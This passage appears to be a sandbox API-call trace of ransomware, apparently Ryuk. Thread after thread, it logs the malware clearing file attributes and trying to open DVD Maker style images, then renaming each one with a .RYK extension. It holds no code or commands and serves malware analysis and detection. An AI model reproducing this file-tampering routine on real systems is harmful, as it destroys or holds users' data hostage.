	[0225.933] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.933] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 735
	os_tid = 0x13ac

	[0225.934] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0225.935] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 736
	os_tid = 0x13b0

	[0225.936] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0225.936] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 737
	os_tid = 0x13b4

	[0225.937] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0225.937] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 738
	os_tid = 0x13b8

	[0225.939] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0225.939] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 739
	os_tid = 0x13bc

	[0225.940] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0225.951] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 740
	os_tid = 0x13c0

	[0225.942] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0225.942] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.942] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 741
	os_tid = 0x13c4

	[0225.944] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0225.945] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.945] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 742
	os_tid = 0x13c8

	[0225.946] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png", dwFileAttributes=0x80) returned 0
	[0225.947] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.947] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 743
	os_tid = 0x13cc

	[0225.948] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0225.953] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.953] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 744
	os_tid = 0x13d0

	[0225.949] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0225.954] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.954] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 745
	os_tid = 0x13d4

	[0226.190] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png", dwFileAttributes=0x80) returned 0
	[0226.197] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.198] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 754
	os_tid = 0x13f8

	[0226.194] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png", dwFileAttributes=0x80) returned 0
	[0226.206] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.206] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 755
	os_tid = 0x13fc

	[0226.196] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png", dwFileAttributes=0x80) returned 0
	[0226.209] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.210] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 756
	os_tid = 0xc6c

	[0226.199] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0226.214] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.214] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.214] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 757
	os_tid = 0x103c

	[0226.200] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0226.204] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.205] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 758
	os_tid = 0x8a8

	[0226.207] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0226.221] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.221] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 759
	os_tid = 0xabc

	[0226.208] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0226.225] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.225] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 760
	os_tid = 0xafc

	[0226.211] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0226.229] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 761
	os_tid = 0xbac

	[0226.212] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0226.235] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.244] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.244] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 762
	os_tid = 0x454

	[0226.215] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png", dwFileAttributes=0x80) returned 0
	[0226.215] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.216] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 763
	os_tid = 0x9f8

	[0226.217] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0226.217] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.217] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 764
	os_tid = 0x850

	[0226.218] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0226.218] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.218] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 765
	os_tid = 0x84c

	[0226.219] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0226.220] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.220] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 766
	os_tid = 0xe9c

